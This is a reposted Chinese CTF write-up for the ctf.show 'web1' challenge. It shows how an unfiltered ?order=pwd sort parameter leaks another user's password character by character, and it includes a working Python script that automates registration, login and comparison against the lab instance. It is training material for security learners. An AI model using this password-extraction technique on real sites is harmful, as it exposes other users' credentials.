CTFshow web1

admin 2022年1月5日23:01:40评论128 views字数 1296阅读4分19秒阅读模式

>

>

CTFshow web1

_yu_

题目地址:https://ctf.show

扫描后台拿到源码(www.zip)。打开login.php能禁的基本都禁干净了,登录页面貌似没有注入的可能。reg.php也是如此,所以注册页面也没可能了。剩下最后一个就是显示信息的页面了。这里可以看到在数据库中是把所有的字段(包括密码)都给查出来了,但是没有显示密码的地方。
CTFshow web1
CTFshow web1
我们可以利用?order=pwd来判断注册的密码与flag用户密码的大小(即 select * from user order by pwd;),当我们按照pwd排序时,比如 flag用户的密码为flag{123},我们从小到大 一直到f都在他的上面,当我们注册的密码为g时,则出现第一个在下面的
顺序大致是这样,这时我们就可以判断密码的第一个字符为f,手工的话会比较麻烦,这里献上python脚本。
在这里插入图片描述

#author 羽
import requests
url="https://362e1f8a-fd7d-4157-beac-e9c6e42e6f6f.chall.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
key=0
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
    if(key==1):
        break
    print("*")
    for i in s:
        #print(i)
        l=""
        l=k+i
        l2 = k+chr(ord(i)-1)
        data={'username':l,
                    'email':'c',
                    'nickname':'c',
                    'password':l
        }
        data2={'username':l,
                      'password':l
        }
        if (l=='flag'):
            k='flag'
            print(k)
            break
        session = requests.session()
        r1 = session.post(url1,data)
        r2 = session.post(url2,data)
        r3 = session.get(url3)
        t = r3.text
        #print(l)
        if (t.index("<td>"+l+"</td>")>t.index("<td>[email protected]</td>")):
            k=l2
            print(k)
            if(i=="~"):
               key=1
            break

关于s中的字符是怎么来的这里做下解释:
动态的flag一般是 flag{1abc-aaa}这种,花括号中的值为小写字母+数字+"-"的组合,那么其他的字符又是为什么添加进来呢,这是因为我写的脚本是注册的用户出现在flag用户的下面时,获得他的上一个字符串。比如第一个字符为-,那当我们注册的密码为点号(.)时才能判断,所以需要加上点号(.),其他的同理。

特殊说明一下:
因为存在flag用户所以当我们注册的用户名为flag,密码为flag时,可以注册成功,但是无法用我们注册的密码登录。所以中间加了个判断。

如有错误或更好的方法,欢迎在回复中提出


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:01:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTFshow web1https://cn-sec.com/archives/719825.html

发表评论

匿名网友 填写信息